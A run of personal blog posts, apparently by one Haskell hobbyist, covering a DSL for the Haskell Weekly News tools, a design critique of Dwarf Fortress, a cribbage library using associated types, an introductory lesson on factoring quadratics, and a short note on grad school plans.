It’s such a god-forsaken mess, I’ve decided to forego even trying to write GMane and go with an option I had aimed to implement in a far later version, using a email account and HackMail to manage the thing.

Now, it’s not TagSoup’s fault that parsing unstructured HTML is so hard, in fact, it’s mostly HTML’s fault. The format is annoying (angle brackets, divs and spans, all sorts of ugliness) which makes the format hard to read, especially when it’s unstructured and thus poorly indented. By and large, you can’t count on TagSoup to be consistent, because it’s input may-as-well-be line noise. I really like the false hope that TagSoup gave me, but good god, it’s so horrible.

Now, I told you my plan is to use HackMail, well, there’s a caveat here too. I left that project in a state wherein the parser wasn’t parsing anything, since I was trying to migrate to the hsemail package. However, this package is fully RFC compliant, but RFC compliance means that trying to parse emails from the file system (which is roughly how HackMail works. One uses getmail to pipe email into HackMail which dumps email into a file system/maildir/mbox/whatever) doesn’t really work. Because the RFC says that an EOL is "\r\n" (for instance) but *nix systems store files with just a "\n", Mac stores them differently, etc. Also, certain nonstandard, common practices have popped up in email, namely quoting names in from fields. Eg "From: Fredette, Joe <jfredett@domain.tag>" is sometimes written as ‘From: "Fredette, Joe" <jfredett@domain.org>’. All these things can be dealt with easily, but require some extensive modification to the parser. Since parsers have been what I’ve been doing lately, I think that I’m going to dive in and do a RFC-semi compliant `hsemail-nonstandard` package (name may be changed later) which will be used with HackMail to solve these issues.

The benefit of using HackMail for all of this is that, using HackMail as a library, we could simply download the actual mail messages directly, use HackMail’s built-in filtering mechanisms to sort out and even format many of the various emails automatically. Since we’re parsing Emails, which is a much more sane (though not much more) format then HTML, we should be able to parse this stuff with minimal difficulty.

For reference, HackMail provides a Filter monad, in which you are given several simple combinators which you then use to build up filtering systems to sort email, ideally in a simple, flat file system. Why a file system? Because why reinvent the wheel? A file system is an excellent way to store large amounts of data — that’s what they’re designed for! Most people who really sort their email tend to sort it into a mail-client’s internal pseudo file system anyway, the only real downside is that it becomes somewhat more difficult to search in the usual way through one’s emails. However, this problem is not only mitigated by the fact that you can filter email in various very powerful ways (you have the entirety of Haskell to help you with that), but also a simple rethinking of how you search for email actually reveals this method of storing email to be better for searching, since you can now easily parallelize any search algorithm to simple run over each of the read-only files in the file-system at the same time.

HackMail does have some support (in the form of an extensible type class for specifying storage formats) for more than just the flat file-system approach, but these are not recommended, especially in light of HackMail’s once and future cousin, Mailhack. Mailhack is (whenever I get to it) going to be the Mail client/sendmail bundle to HackMail’s getmail[1]/procmail replacement. More about that another day.

In any case, all that said, I hope to get the HackMail part of HWN2 working in short order. ATM HackMail also uses Hint for dynamic recompilation of it’s config file. I’m thinking I might need to rework that as well, fortunately there is "Dyre", which looks to be like an actual framework for what I want to do. Mostly I need to clean out the bit-rot I’ve let grow in the old project. I’ve neglected her too long.

A "Story" is defined as a Tag, a Title, some header information informed by the tag, (things like url of the story location, author’s name, etc), and a summary in some format (format being stored as another header tag). To wit:

Tag: Title {
    $url = http://www.wherever.com/
    $author = Joe Schmoe
    $format = markdown

    Lorem Ipsum Summarium ovus Textus ...
}

or, a more practical example:

Blog: HWN: A Simple, Extensible format for stories {
    $url = http://www.lowlymath.net/?p=46
    $author = Joe Fredette
    $blog_title = The Lowly Mathematician
    $format = markdown

    {$author} of {$blog_title} {$url wrote} about the format of his new DSL for HWN.
    It was a _great_ post.
}

In the first example, we have an arbitrary story followed by some summarizing text. In the second (more interesting) example, we  have the same setup, but also some extra formatting options piled on top of markdown in the summary. Namely the {$hdr: as-text} where $hdr is placed unless as-text is given. So, for instance, in the {$author} case, "Joe Fredette" is actually placed. However, in the {$url: wrote} case, a link to whatever the text of $url is is placed. So {$author: foo} would create a link to "Joe Fredette" (which is obviously invalid). This allows for a very simple transformation before parsing the summary as markdown or whatever $format is. The benefit of this format is multifold. For one, it’s easy to add new stories to a .hwn file, it boils down to just adding another atomic unit to the list. Similarly, it’s easy to add new headers to any given story, since each should only use certain headers and ignore the others. So, for instance, during the formatting phase, when each story is turned into, say, a `wiki` format, each tag will require certain headers, but it will ignore the others. The phase before that will replace all of the {}’s in the summary with the appropriate html/whatever so that there is no need to keep the unused headers around. All told, the parsing->printing process looks like:

1. read file, parse
2. transform summary {}-tags (brace-tags) to internal representation as part of the summary.
3. parse summary format, so that summary is an internal representation (possibly pandoc-related stuff for both steps 2 and 3).
4. determine output format, pretty print to this format.

That roughly covers it. It’s a little bit complicated, since we’re allowing for some complexity within the summary, but the overall format is simple, which is another nice selling point. Furthermore, it’s pretty easy to write, since indentation won’t matter, the only important whitespace is EOLs after the header and the double EOL between the headers and the summary.

So, to recap, we have the following nice features for the DSL:

• Easy to extend to add new tags
• Easy to extend to add new headers in existing/new tags. They will show up as X_headers "header_name" "field" until the parser is appropriately extended.
• Easy to add new stories to the issue, just append to the file.
• (Relatively) easy to parse.
• Fault tolerant (adding a header that isn’t used in the summary or in the formatting of a story doesn’t break things. Adding a story tag that isn’t recognized simply doesn’t render that story, could throw an warning/error if desired).
• Composable, two .hwn files cat’d together are still a valid hwn file.

The downsides are:

• You actually have to write a parser for it, it’s not something you can just tweak a little and get a haskell datatype.
• You can’t add multiple stories at once (that is, it’s not threadsafe, since we’re appending information to the file. This could be addressed in the future, but it shouldn’t be a big problem for now since only one person will be adding to the file at a time).

There are likely to be more points where this methodology fails or is not optimal, but I think this is a good start. Next time I’ll talk about some TH code I use to generate headers and some parsing stuff for them, hopefully the parser will be done (or mostly done). Also, I’ve set up a repo on patch-tag for this stuff, so feel free to poke around, send patches if you like. etc, if there is a lot of interest, I’ll try to set up a Trac somewhere.

Currently, the parser is done with two caveats:

1. You can’t end a summary with a substitution, it causes an error due to the double "}".
2. You can’t do the {$foo} substitution just yet.

This newsman gig is a tricky business.

Luckily, as I mentioned, there are tools for this sort of thing. Now- I don’t begrudge my tools, they are reliable — if quirky — and they get things done. However, they are also fickle little beasts, they bleat at the slightest hint of misuse. They are on the older side, the oldest being `publish.hs` which I’m fairly sure was created along with the HWN proper. Later tools such as the gmane and planethaskell scripts, as well as the quote scripts were all written later. Much work has obviously gone into these tools and I don’t begrudge the authors any of the credit, but it’s time for a change.

Among the issues with the tools is it’s dependence on Haskell for syntax. "What?" you shout, "but Joe, I thought you loved the EDSLs. Said they were the greatest thing since Monadic IO." The short answer is I do, but this EDSL is not so great. The long answer is that I think this particular task is better suited to it’s own DSL. To this end, I’ve come up with the following things I want to fix.

Firstly, the current system is a mess of individual files, which must be merged (by hand) into a single file. What would be lovely is to create a file to which we simply append too to add content, rather then having to generate new files each time I want to add more content.

Next, the current "main" file, `content.wiki`, is more or less a series of constructors for a Haskell Record. It stores stories as elements of a list written as a simple Haskell datatype. While this has the benefit of being easy to parts (it’s just a couple of substitutions with regexes), it does have the downside of being poorly extensible, touchy, and generally hard to use with large amounts of data.

Finally, the current method of selecting stories has the same problem, it’s simple, and it works. The problem is we’re at a local optima with all of these things, the former editors didn’t have time to really work on this stuff, which is understandable, they have jobs. Jobs are more important than community newsletters. However, I do not have a job, I go to school. Therefore, I have time (other people call it "Class time" I’m still not sure why… and there always seems to be someone talking, very distracting when you’re trying to write code or do math) to make this stuff awesome.

For the first iteration, my goal is to get a parser running and port the current tools: `gmane`, `planethaskell`, and `quotes` to dump to that format. After that, I intend to either rewrite the `publish` script to effectively be a prettyprinter for the AST of my DSL (I love TLAs), or to just write a conversion function from my AST to the current record type. It all kind of depends on whether I really want to get v1.1.0 out or what. The rough plan is as follows (this is right out of my notes).

• For v1.1

It should work, be able to do everything the current tools can do, but use the new `.hwn` format.

It should be Cabalized, Haddockized, and have some basic correctness testing in place (samples for the parser, etc.)

• For v1.3

New versions of the `gmane`, `planethaskell`, and `quotes` tools which are built with a cleaner interface, more features, etc. Details TBD

More testing, better documentation (Nice READMEs, HACKING guides, etc.)

• For v1.5

Clean, consistent command line interface. Nothing fancy, just aggregate the interface of all the tools into one, more general ncurses-esque tool.

Generalize the `gmane`, `planethaskell` tools to work with any gmane list, and any RSS (Atom and others will come later) feed (in the hopes of eventually making this a generally useful tool, rather than a haskell-specific one).

• For v1.7

An ability to specify new output formats/layouts/etc, effectively some kind of stylesheet.

An ability to specify different formats for the summary fields in a given tag.

• For v1.9

Uses Hackmail (if I ever finish it) as a mailinglist aggregator, so that any ML (not just those indexed by gmane) can be used, assuming a email account can be furnished. This will take over for the `gmane` part of the project.

Can deal with RSS, Atom, similar feeds in the aggregator portion (formerly the `planethaskell` part of the project).

• For v2.0

Good documentation, good test coverage, and final touches to the CLI. Then let the public at it.

• For post v2.0

A GUI

The ability to aggregate reddit (which technically comes for free with the RSS/Atom stuff, but perhaps) using the proper API to allow in-HWN voting, etc.

More automation. Announces should be part of the HWN by default, and only culled in the event of an error. (This is because I’ve never seen a package announcement not included in the HWN). Particularly lively discussions could be tagged somehow (eg, if a thread goes past <threshold> replies, stick it in the "Discussion" section.) etc.

Some of this stuff won’t make any sense, but as I continue to write about the progress and future plans of the HWN software and newsletter proper, it will start to make more sense. Next post will have some stuff about the DSL format I’m using, why I think it will work better, why it looks the way it does, etc. Hopefully you’ve all had fun listening to me ramble. Stay tuned, it’s going to be a fun time.

Dwarf Fort (DF) is, first and foremost, a sandbox. In DF, you can dig into a mountain, build a massive tower, fight epic battles, slaughter your enemy or yourself, build a computer — anything you like. The game is not difficult in concept, your only goal is to survive. There is no way to “win” — you simply play till you die or get bored. It’s also not particularly difficult to defend onself, Walls are impenetrable, Moats (which aren’t filled) are uncrossable. However, the dangers are not solely located outside your fortress. Cave ins, Psycotic Dwarves, Bottomless Pits and Magma Monsters are few among the myriad monsters and maladys which will accost you in DF. I’ve lost countless forts to dwarves driven insane due to lack of a particular metal ore. In DF, the saying “For want of nail” becomes quite literal. One of the most interesting things about DF is it’s realism, the dev really does think of everything. When an object/dwarf is standing on a drawbridge as it raises, that object is flung at highspeed toward whatever is in the direction it raises, often with — dismembering — results. Water flows, Magma flows — and melts stuff. It’s all very interesting, and I highly reccomend trying it, but I do have some gripes

So, DF is a Roguelike — in the sense that it uses ASCII-esque (actually IBM Code 437) characters for graphics. This is great, except that ASCII-style graphics are kind of hard to interpret if you’re not already good at the game and understand the various symbols. The issues with this are obvious — it sharpens the learning curve to nearly an asymptote. While there are some partial solutions, the tilesets can be edited to an extent, there is a fundamental issue, much of the graphics system is too tightly coupled with the rest of the game. From what I understand (based largely on interviews and the DF forums, since the game is closed source, I can’t examine the problem myself) the graphics routines are bound in alot of ways to the representation of the board in memory. Part of this might have to do with the idioms of C, the implementation language, but I think also it follows from the fact that Toady (the alias of Tarn Adams, the creator of DF) is firstly a mathematician (not to say that mathematicians can’t program) and secondly a programmer. I think that his abilities to plan are fantastic, but he has the old-school mindset about programming. He does not think in terms of frameworks and abstracts, but rather in terms of features and the fine grained details. It’s not an indictment, I promise. I think Toady’s done a fantastic job. I just wish he started by thinking about the larger frameworks — designing a whole system for each step, a system for players and skills, a system for terrain, etc. It’s easy to see how DF came together piecemeal, menus sometimes have inconsistent naming schemes. For instance, building a statue at a Mason’s shop requires you to press [a-u] for “add a task” and then “Construct Statue [u]“; however, placing that statue somewhere requires you to press [b-s], for “build” and then “Build Statue.” This is largely an issue of namespace pollution. Rather than having the build menu point to submenus (although it does this sometimes, as with the “Construction” menu), it remains inconsistent. Principally, this reveals the likelyhood that menus and the options contained therein are hardcoded elements of the system, rather than existing in some extensible, refactorable framework. Ideally, one should decouple interface from action, this is OOP 101, In haskelly terms, we want a situation in which we have a Map from IO action (pressing a key) to “Game” Action (which may similarly be an IO action) — the map may be recursive, the key may return a game action which prompts for another key, etc, but the point is simple, decoupling interface from action is what we want. Furthermore, such a decoupling allows for hosts of configuration possibilities, menus could be defined in files — XML or otherwise, allowing the user to configure their _own_ menu structures. One more possible decoupling strategy is to have the interface to the game be a (E)DSL — allowing for programmatic interfacing to the game. One could then design a series of simple combinators and combination strategies, and build the interface up from the bottom. This would allow for things like Quickfort (a utility for quickly setting up building designs in DF) to be self-contained within the game itself, rather than, as QF currently does, relying on external tools (like Autohotkey). It also allows for some interesting in-game opportunities. DF, for instance, has a feature which allows for the building of levers/pressure plates and controlling structures with them. Raising bridges, etc. With this programmatic approach, one could simply allow certain objects to be “programmed” to do something when a certain input is detected. In DF, this is more limited, one can attach a lever to an object, and toggle said object. There is some ability to build computing instruments, but they’re limited, and somewhat unreliable[1]. With this programmatic method, one could — instead of necessarily directly linking a lever — build a “computer” object, and connect lever inputs through the “computer” to the ogram — say one needs more mechanisms, more power, etc to build the computer object, thecontrolled objects. If one were too include some costs associated with the relative complexity of the program, then the system would not only be more flexible and (in my opinion) interesting. As an alternative, which could be easily built into DF even as it is now, would be to implement various logic gates — or even just a better logic detector than the current pump/plate method. The point is simply that even a little decoupling can go a long way to providing new and interesting ways to interact with the program, as well as likely reducing code complexity.

Another unfortunate thing about DF is that it is a CPU Hog. This is obviously because of the sheer quantity of things it has to do, pathfind for potentially hundreds of dwarves, animals, and enemies; run water and magma according to highly detailed set of physics (seriously, just look up the water system on the DF wiki, it’s amazing how realistic it manages to be); not to mention rendering and keeping track of potentially tens of thousands of objects. Now, on a modern, high speed system, this is no issue. However, the game does not (currently, or likely ever, due to the difficulty of refactoring code to be multithreaded) take advantage of multiple cores. So — to all you lucky bastards with the dual 4-core machines, sucks to be you, you’ll be stuck at 1/8th of your potential speed. This is largely, as before, a function of the high degree of coupling in the design, as well as the fact that the system is written in C. In a language like Haskell, refactoring code to be parallel/multicore friendly — while not trivial — is at least easier than in C. Largely, having a decoupled system, where each actor is composed of many individual, independent subsystems, each of which can run in parallel without consequences — that is, each subsystem has no shared state with any other — then we have a system which will run much more smoothly on multicore systems. Again, the main point returns, I probably sound like a broken record, but the secret to making a game like this efficient and easy to extend is decoupling!

Now, despite my gripes, you should totally play this game, it’s fantastic, immersive, and losing is fun.

> {-# LANGUAGE TypeFamilies, MultiParamTypeClasses #-}
> module Blog where

> import Data.HCard
> import Data.HCard.Instances
> import Data.HCard.Examples

Backstory

Today, I want to talk about card games… On a recent trip home, I had an opportunity to teach my fiance how to play one of my favorite card games. Cribbage. If you are unaware, cribbage is a game in which each player (or team, as the case may be) attempts to score the most points during several rounds. The goal is to be the first team to 121 points. The scoring system and play are somewhat complex, so I’ll just direct you to the wikipedia entry [1] for cribbage, but suffice to say that the game is quite fun. I’ll assume that the reader understands the scoring rules for cribbage for the rest of this post.

While we were playing, we came across several hands which were very difficult to count. For instance, consider the hand:

A-H 2-H 3-H 4-H (5-H)

where <index>-<suit> is a card in the hand, and (X-Y) is the cut-card. This hand has the peculiar — and at first unnoticed — property of being worth 12 points. Though it’s not necessarily apparent. The obvious run and flush give 10 points easily, but the sum of all the cards is fifteen, something that is not readily seen, since there are so many cards involved in the sum. This and other odd hands led me to realize that it was probably best for me — especially since we play at night, when my brain is not at its finest — to leave the tedious task of counting these “weird” hands to a computer. The issue was — where to get such a program. Certainly such things exist. But that requires reconnaissance and time, time that I could be spending doing something more interesting.

Like writing my own.

Therefore, I present to you, in only around 200 lines of Haskell, a full library for playing card-like structures, complete with shuffling, dealing, and permutation-irrelevant equality, as well as a cribbage score counter which uses this library for counting cribbage scores…

Oh, by the way, did I mention is uses the very cool new addition to Haskell of Associated Types?

I heard that muttered “Holy crap, this is going to be scary, associated types must be complicated. Right? I mean — they replace fundeps, right? Fundeps were weird these must be weirder!”

It’s okay, I promise, Associated Types are friendly beasts, and really useful. Especially for creating what I’ve taken to calling “Indexed Record Types” which allow a kind of higher-level polymorphic record to be had. Allowing me to save you the trouble of having to ever write a playing card shuffling implementation again!

So how do we do it? Let’s start with some background.

Associated Types and Indexed Records

> class IndexedRecord a b where
>       data IRec a b
>       get_a :: IRec a b -> a
>       get_b :: IRec a b -> b
>       cons  :: a -> b -> IRec a b
>

> instance IndexedRecord Int Int where
>       data IRec Int Int = IRec Int Int
>       get_a (IRec i _ ) = i
>       get_b (IRec _ i ) = i
>       cons a b = IRec a b

This is a very contrived example to show you the fundamental idea behind the “Indexed Record.” Basically, we have this type, Rec, which will only ever contain three of some type, but it all we need to really know about it the accessors and constructors to do interesting things to things which “look like” this type. In a sense, this is the same kind of thing we do with functions which are polymorphic — we may start with a type which has “actual” types, but our instincts should aim us to make that type polymorphic, via type variables. Associated types (like fundeps) allow us this facility, but with the added benefit of being much clearer. Now, instead of stating that the a type uniquely determines the b type, or what have you, we simply construct a type based on arbitrary type values, and we can then use that type, like any old type. Whats more, we aren’t limited to types of kind *, we can make, in fact, types with kinds like * -> * or etc. Consider:

> class IndexedRecord' a where
>       data IRec' a :: * -> * -> * -- will this work?
>       fst_elt :: IRec' a b c -> b
>       snd_elt :: IRec' a b c -> c
>       cons2    :: a -> b -> c -> IRec' a b c

This class represents a more “Free” version of the other IndexedRecord class. In that, we don’t have to statically determine what the types of b and c are, they could be anything. In a sense, this is a pair-of-types type. With a as the constructor and b, c as the elements. The type of a is unimportant, except for construction, so consider:

> instance (Show a, Show b, Show c, IndexedRecord' a) => Show (IRec' a b c) where
>       show i = (show . fst_elt $ i) ++ "," ++ (show . snd_elt $ i)

> instance IndexedRecord' () where
>       data IRec' () a b = IRec' a b
>       fst_elt (IRec' a _) = a
>       snd_elt (IRec' _ b) = b
>       cons2 _ a b = IRec' a b
>

So if I write:

> foo = (cons2 () 1 2) :: (IRec' () Int Int)

Then I get the output:

"1,2"

So this type is really just a very contrived implementation of the pair type, but it is useful to see that we can write these types to act on arbitrary values.

All that it interesting, but we don’t need it for HCard, in fact. All we need is a class like the first type. Viz:

> class (Eq s, Eq i, Show s, Show i) => Card_ex s i where
>       data CardT_ex s i :: *
>       suit_ex           :: CardT_ex s i -> s
>       index_ex          :: CardT_ex s i -> i
>       construct_ex      :: i -> s -> CardT_ex s i

This is it, the crux of HCard, the Card class. Every playing card-like type instantiates this, and this is all I need to assume to give you free shuffling and dealing and permutation-irrelevant equality and all that lovely stuff. The fundamental realization is that about every Playing card implementation in a “finite” sense (that is, just implementing the French deck or whatever) is just a record type + some functions over it. This class neatly abstracts over it by indexing all of these types and creating a common interface to all of them. When we instantiate this class, we get a record, just like any other.

So the question remains, could we just do this with records instead? Well, short answer is yes, since classes are, in some sense, just glorified records. So let’s write an equivalent record type:

> data (Eq s, Eq i, Show s, Show i) => CardRec s i = CardRec { suitR :: s, indexR :: i }
>       deriving Eq

This certainly seems simpler, we even get to use “deriving” to save us the Eq instance we would have had to write when using associated types. construct in this case is CardRec, but we have some problems, let’s try writing an equivalent type to “Classic”:

> type ClassicRec = CardRec Suit Index
> con :: Suit -> Index -> ClassicRec
> con = CardRec

The first thing we can note is that we would have to use CardRec as construct, there do come some issues of where we place type signatures as well, but in general, there really is no difference between the record implementation and the associated type implementation. So now the question, why bother with the fancy method?

Well, mostly because it’s cool, but also because it is really cool. If you can think of a better reason, good for you, leave a comment.

In any case, check out the HCard code here [2], and on hackage here [3]. It’s pretty easy to use, and a good place to start if you’re an intermediate haskell hacker like myself.

I <3 patches!

[1] http://en.wikipedia.org/wiki/Cribbage [2] darcs get http://patch-tag.com/publicrepos/HCard
[3] http://hackage.haskell.org/cgi-bin/hackage-scripts/package/HCard

First though, let’s get the answers to last weeks questions recall:

In all three, solve for x, they rank from easiest to hardest:

1. 8x + 1 = 17
2. 2(9x + 4y) = (18 + 16y)/2
3. 10x^2 + 6 = 1006

The first one is easy. We want to subtract 1 from both sides, then divide by 8, doing so we get x = 17-1/8 = 16/8 = 2.

The second one iss a bit tougher, the trick is to do some simplification to make things easier, remember how we talked about factoring? Well, if you look at the right-hand-side (the RHS, in math-speak), you’ll notice that the two numbers in the parenthesis have the form k*n + k*m, where k = 2, so we can factor out a 2 on the RHS to get:

• 2(9x + 4y) = 2(9 + 4y)/2 = 9 + 4y

Now if we multiply the 2 through the left-hand-side (LHS), we see a much simpler equation than what we started with, and one that is easily solved, to boot.

• 2(9x + 4y) = 18x + 8y
• 18x + 8y = 9 + 4y
• 18x + 8y - 4y = 9
• 18x + 4y = 9
• 18x = 9 - 4y
• x = (9 - 4y)/18

This seems weird, because we still have y’s in the equation. Thats okay, what that means is that there are possibly many values of x. Indeed, in this case, there are an infinite number of possible values of x, we call the variable ‘y’ here a “free variable”, since it can equal anything. Free variables come up alot in a type of math called “Linear Algebra”, but thats a story for another day.

One more note, though- if we added the restriction that x be an Integer — that is, x have no fractional part, it must be a whole number — are there still infinitely many solutions? The answer is yes- see if you can figure out what value you could replace for y, so that x is an integer- then try putting in that value times some arbitrary integer, is x still an integer?

The last one is actually pretty simple, lets just jump in:

• 10x^2 + 6 = 1006
• 10x^2 = 1006 - 6 = 1000
• x^2 = 1000 / 10 = 100
• sqrt(x^2) = sqrt(100)
• x = +/- 10

Pretty straightforward, the hard part there was remembering that -10 is as valid as +10 when answering this question. Also note that, here, x can have more than one answer too, but unlike the above, the number of anwers is finite.

Onto Algebra!

So- what is a quadratic equation? I snuck them in on you last time- but lets start from scratch. To learn what a quadratic is, we should first look at a general polynomial. Before you get to worried that I’m going to bust out the higher math on you, fear not, a general polynomial is something you’ve seen before- just with a few extra letters instead of the numbers you’re used to:

• ax^n + bx^(n-1) + … so on all the way down to … + yx + z

Things to note: I used a,b,c… here to give names to the coefficients of x (coefficient just means “the thing that multiplys with), but I’m not limited to 26 coefficients, I can have as many as I want, even and infinite number of them. I just didn’t want to overload you by using the more common subscript method. Also, I used ellipses to shorten the amount I have to write, in fact — since n here is any arbitrary integer number, I had to use ellipses, because I didn’t know how much I needed to write. I put the definition of the ellipse in mathematics in the actual definition above, from now on though, “…” will be pronounced “so on all the way down to” when read in a context like the above, and be called “dots” by me in the text, because spelling ellipses is a pain[1].

So- let’s give some names to things in the polynomial. We already know that a,b,c… are the “coefficients” of the polynomial. We’ll also call “x” the “variable” of the polynomial. The coefficients are constants, that is- they don’t change in the final result. Sometimes they’re called the “coefficients of x” (substitute whatever the variable of the polynomial is for x there). We’ll also call this whole polynomial “monovariadic”, which is a fancy way to say “a polynomial with only one variable.” With those names, we’ve accounted for everything but the “n”, We call this the “degree” of the polynomial. That is, the degree of any polynomial is the value of the highest exponent in the polynomial. In our general case, thats “n”, but sometimes it’s a bit more hairy. Notice also that the last two terms in the polynomial (a term is anything in between plus-signs, in this case), don’t have exponents. Thats okay, they really do have them, they’re just hidden. It would be equally well to write “… yx + z” as “… yx^1 + zx^0″. The first term, “yx^1″, there shouldn’t bother you, since the definition of an exponent like “k^j” is “k times itself j times”, so this just means the product of x with itself once, which is just x. The second one might trip you up, and it will be explained in the future, I promise, but for now, just trust me when I say that, for any k, “k^0 = 1″.

So, why talk about degrees and coefficients and confusing exponents? Well, it makes it really easy to define quadratics. Heres the definition:

• A quadratic polynomial is any polynomial with degree equal to 2.

Yep, thats it. Not so scary, It just says if the highest power in our polynomial is 2, then we have a quadratic.

Thats all.

So why are these things important? Well, for one thing, they’re freaking everywhere, quadratics come up more often than any other type of equation in everything from statistics to physics to differential equations to, well, they’re everywhere. Also, the express a fundamental idea of mathematics, things can sometimes have more than one solution. Quadratics, in fact, are equations with at most two solutions[2]. I’ve mentioned that I’ve already introduced a simple form of quadratic equation, namely:

• kx^2 = j

We can actually solve this in the general sense, we just divide by “k” on both sides, then take the square root of both sides, and then we get:

• x = +/- sqrt(j/k)

Which is nice, but this is, like I said, a very simple quadratic, a more common version is:

• ax^2 + bx + c

Which is a bit harder to solve. Notably, this is a quadratic polynomial, it’s not an equation, because we’re not equating anything. A quadratic equation looks like:

• ax^2 + bx + c = k

but we can note that since c and k are both constants which are “naked” (they aren’t multiplying any variables), we could write this like:

• ax^2 + bx + (c-k) = 0

which, since c-k is also a constant, we can just say we have:

• ax^2 + bx + c’ = 0

with c’ = c-k, so in general, we just drop the prime and set things to zero.

The obvious question that comes up, is how should we solve for x? To see the importance of this, consider the following word problem:

Jake the bear is a mathematician. He loves fish, but is also a bit of an oddball, he will only ever eat an amount of fish each week which can be arranged in rectangles which have two fewer columns than rows, or vice versa. Also, Jake must eat exactly 16 fish per week, or else he gets terribly hungry and becomes quite grumpy. Can our oddly picky bear meet these strict dietary rules?

Disregarding the sillyness of such a story, lets see what this really asks. First, Jake must eat 16 fish, that tells us that the area of the rectangle must be 16. Second, we know that one side of the rectangle is equal to the other less 2. Finally, we know that the area of a rectangle is equal to the product of the lengths of it’s sides. All this information together gives us the following.

• s,t are the sides of the rectangle, A is it’s area
• A = 16
• A = s*t
• s = t - 2

Now we can use that to come up with the following equation:

• A = 16 = s * t
• 16 = (t - 2) * t
• t^2 - 2t = 16
• t^2 - 2t - 16 = 0

Hey, look, a quadratic equation! How do we solve it? Well, first lets try to figure out what the equation is asking. If we think about it, all an equation means is “find a value for each of the variables such that the LHS and the RHS are the same number.” We could try by exhaustion, but that’s not satisfying, or even possible. There are an infinite number of possible choices! There has to be a better way…

There are, in fact, several ways — we’ll talk about two, one this time, and one next time. This week, we’ll talk about the factoring method. It’s considerably weaker — in the sense that while it can solve any polynomial[3], it’s pretty difficult to do so. The fundamental notion is this.

We know from our early days that every number can be factored, that is, any number can be split into a unique product of prime numbers. For instance, 24 = 2*2*2*3, and no other number have that same factoring. Can we do the same with quadratics? The short answer is, “yes”. In fact, what we’re looking for is, in a sense, factors of zero. In general arithmetic, I know that if ab=0, then either a or b must be equal to 0; mathematicians call this the “Zero Product Property”. If we can write a quadratic as the product of two smaller polynomials (in the sense that they have a smaller degree), then we can break that product into two equations, which we can then solve one by one.

Consider a general case, we know that we want to break the product into two polynomials of lesser degree. Since a quadratic has degree 2, then the polynomials we want must have degree 1. Also, if you don’t mind taking my word on it, the product of two polynomials of degree 1 is a polynomial of degree 2.[4] So we can write a general form of the solution to a quadratic equation as follows:

Let ax^2 + bx + c = 0 be an arbitrary quadratic.

we can make the first coefficient (a) equal to 1 by dividing the whole thing by a. Letting b’ and c’ be b/a and c/a resp. we get:

x^2 + b’x + c’ = 0

We call quadratics of this form “monic” (because their first coefficient is one).

Now, obviously any quadratic can be written as a monic quadratic, so then like r and s be any old coefficients and consider the product:

(x + r)(x + s) = 0

Since this is the product of two polynomials of degree 1, it must have degree 2, so it’s a quadratic. We know that multiplication distributes over addition/subtraction so doing so we get:

(x+r)x + (x+r)s = x^2 + rx + sx + rs = 0

or

x^2 + (r+x)x + rs = 0.

Now, we know that two polynomials are only equal if they’re coefficients are equal[5] So let b’ = (r+x) and c’ = rs, then we know we can factor the general polynomial to the form:

(x+r)(x+s) = 0

By the zero-product property, we know then that either (x+r) = 0 or (x+s) = 0 (or both). so either x = -r or x = -s, so we solved the quadratic equation!

So, turn this idea around. If we can find two numbers, r and s, such that the second and third coefficient of a monic quadratic satisfy:

b = r+s

c = rs

Then we can factor that quadratic! Applying this to our problem about Jake, we can try to find values of r and s for b=-2 and c=-16. Since we know c = rs, then we know that r and s will be factors of c. So it helps to list the factor-pairs of c, they are:

c = -1*16, -2*6, -3*4, 1*-16, 2*-6, 3*-4

so (r,s) = (-1,16) or (-2,6) or (-3,4) or (1,-16) or (2,-6) or (3,-4)

Now we need to find which one satisfies -2 = r + s, obviously the ones with 16 are out. Let’s just try the other 4:

• (r,s) = (-2,6). Then r+s = -2 + 6 = 4, no dice.
• (r,s) = (2,-6) => r+s = 2 - 6 = -4, nope.
• (r,s) = (-3,4) => r+s = -3 + 4 = 1, nope.
• (r,s) = (3,-4) => r+s = -1, nothing.

So there’s no way Jake can catch 16 fish per week and arrange them in the way he likes.

I’ll leave you with another word problem for next time.

Jake is back, grumpy that he can’t arrange his fish in the appropriate shape. He’s reworked his routine a little. He’s okay with eating 24 fish a week — he’s willing to gain the weight… Can he arrange them the way he likes to now?

Also, one other problem, should that prove too easy. Try to come up with a similar set of equations, but for triadic equations — those involving polynomials of the form:

ax^3 + bx^2 + cx + d = 0

Hint: Think about the product of a polynomial of degree 1 and a quadratic.

[1] If I slip up and call them “ldots”, you’ll have to forgive me, in the typesetting language called “TeX” (pronounced “tek”) “\ldots” is the command to insert a series of nicely formated ellipses. Next time you want to sound cool around your math friends- try peppering your conversation with that. You’ll get some good reactions, I bet.

[2] This is a bit of a fudge, there are guarenteed to be at most two solutions, assuming you’re working in the Complex number system. Sometimes there will only be one solution in the Reals, and the other will be a complex number, but I digress.

[3] Again, a bit of a fudge, it can solve any polynomial assuming we allow for complex roots.

[4] In general, the product of two polynomials of degree n,k resp. is a polynomial of degree n+k

[5] Well, I know that, and now you do to.

http://feeds.delicious.com/v2/rss/jfredett/gradschool

It’s an RSS feed, but also the only sane url-link to the specific tag. It’s just my del.icio.us space under the tag “gradschool”

Heres my situation, I transferred last year from one school (WPI) to another, cheaper school (WSC)[1]. In doing so, two things happened.

1. I had to redo a fair deal of work. Many credits didn’t transfer, weren’t applicable, or became electives due to requirement differences
2. I suffered a bit of a blow to my now fragile GPA, I’ve had 10 classes so far, and due to the rapid change of material and teaching style, as well as the new stresses and frustrations of repeating much of what I already knew, or taking classes I had no interest in, I did not do very well in most of them. My GPA is a pitiful 2.6… (I got a fuckload of C’s.)

Now, fortunately, I have good grades in my Core courses, most of the outliers (Philosophy excepted, I am stunningly good at that, it seems) are the ones that caused the brunt of the average-destruction. My hope is to pull these grades up with all my vigor. I have calculated that — in the 10-12 classes I have left, I need to get consisent B’s and B+’s to recover to a “safe” 3.2 or so (what I had when I left WPI). The various websites I’ve read say that this is a good average, and combined with me doing un-fucking-believable on the GRE’s, I should be able to get into a decent grad school.

I’ll try to keep Lowlymath.net[2] updated with my adventures in grad school application, and hopefully it will be a resource to anyone else hunting for graduate education.

No little thing like a bad GPA will keep me down, if necessary, I’ll take every math class WSC, WPI, and the rest of the consortium[3] offers to pull up my grade! Someday you’ll all be able to say “Whatsup Doc?” to me, and I will be quite pleased about it!

/Joe

[1] Thats Worcester Polytechnical Institute and Worcester State College, respectively.

[2] I’m actually posting to both blogs at once right now, so the Lowlymath Readers can just mentally replace “Lowlymath.net” with “this blog”

